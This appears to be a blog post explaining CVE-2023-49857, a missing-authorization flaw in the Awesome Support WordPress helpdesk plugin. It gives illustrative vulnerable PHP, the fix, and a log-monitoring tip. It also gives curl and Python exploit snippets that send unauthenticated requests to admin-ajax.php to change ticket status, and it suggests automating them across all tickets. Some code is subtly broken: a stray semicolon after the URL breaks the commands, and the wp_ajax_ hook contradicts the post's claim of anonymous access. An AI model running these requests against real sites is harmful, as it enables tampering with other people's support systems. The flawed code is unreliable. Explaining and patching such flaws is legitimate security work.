---

Introduction

WordPress is the backbone of millions of websites, and plugins are its vital organs. One of the popular helpdesk plugins out there is Awesome Support by the Team Awesome Support folks. But what if I told you that a simple authorization oversight could allow malicious people to get access to things they should not? Enter CVE-2023-49857 — a freshly revealed vulnerability affecting Awesome Support (up to v6.1.7). In this post, I’ll break down how the vulnerability works, show you some code, explain what’s at stake, and even give you real-world exploit snippets.

What is CVE-2023-49857?

CVE-2023-49857 is a Missing Authorization Vulnerability in the Awesome Support plugin (versions up to and including 6.1.7). This flaw allows attackers to bypass incorrectly configured access control security levels and do things they shouldn’t — all thanks to missing privilege checks in the code.

In simple terms: Some code didn’t verify if the user had the right permissions. As a result, unauthorized users (even unregistered visitors) could perform sensitive actions.

Where’s the Problem?

Awesome Support handles sensitive actions using admin-ajax.php requests. Ideally, any handler meant for (say) changing ticket status or viewing private information should check user roles/capabilities. But here’s the thing: in some endpoints before v6.1.7, there’s no such check.

Let’s look at a simplified code snippet from one of the vulnerable versions

// Vulnerable AJAX handler in Awesome Support (pseudo-code)
add_action('wp_ajax_as_change_ticket_status', 'as_change_ticket_status_handler');

function as_change_ticket_status_handler() {
    $ticket_id = intval($_POST['ticket_id']);
    $new_status = sanitize_text_field($_POST['status']);
    // Missing: check if current_user_can('manage_support') or ticket ownership

    // Anyone can reach this code and change status!
    update_post_meta($ticket_id, '_ticket_status', $new_status);

    wp_send_json_success(array('message' => 'Ticket status updated'));
}

Notice what’s missing? There’s NO check to see if the user is logged in, owns the ticket, or has some support agent/admin capability.

How Does the Exploit Work?

Attackers just need to craft a request (POST or GET) to the vulnerable AJAX endpoint. No authentication is needed if the action is registered anonymously — and in some versions, it is.

Example Exploit (Using curl)

Suppose a site runs Awesome Support <= 6.1.7 at example.com.

curl -X POST "https://example.com/wp-admin/admin-ajax.php"; \
  -d "action=as_change_ticket_status&ticket_id=123&status=closed"

That’s it! The status for ticket ID 123 changes to "closed", even if you’re not logged in.

Python Example

import requests

url = "https://example.com/wp-admin/admin-ajax.php";
data = {
    "action": "as_change_ticket_status",
    "ticket_id": "123",
    "status": "closed"
}

resp = requests.post(url, data=data)
print("Server Response:", resp.text)

An attacker can easily automate this to affect all tickets, update private fields, or even exfiltrate information depending on the endpoint’s role.

How Was It Fixed?

From version 6.1.8 and above, the developers added needed authorization and ownership checks, using functions like current_user_can() or verifying ticket ownership before performing sensitive actions.

if (!current_user_can('manage_support') && $ticket_owner_id != get_current_user_id()) {
    wp_send_json_error(array('message' => 'Not allowed'), 403);
    return;
}

Monitor Access Logs

Look for suspicious POSTs or GETs to /wp-admin/admin-ajax.php using support-related actions.

References

- Plugin vulnerability entry on Patchstack
- CVE Details page for CVE-2023-49857
- Official Awesome Support Plugin page
- Security release notes by Team Awesome Support

Conclusion

CVE-2023-49857 is a classic example: sometimes overlooking a simple privilege check is all it takes for a severe vulnerability. If you use Awesome Support in WordPress, check your version and update. Developers: always verify your users’ permissions before letting them do anything sensitive.

Timeline

Published on: 12/09/2024 13:15:37 UTC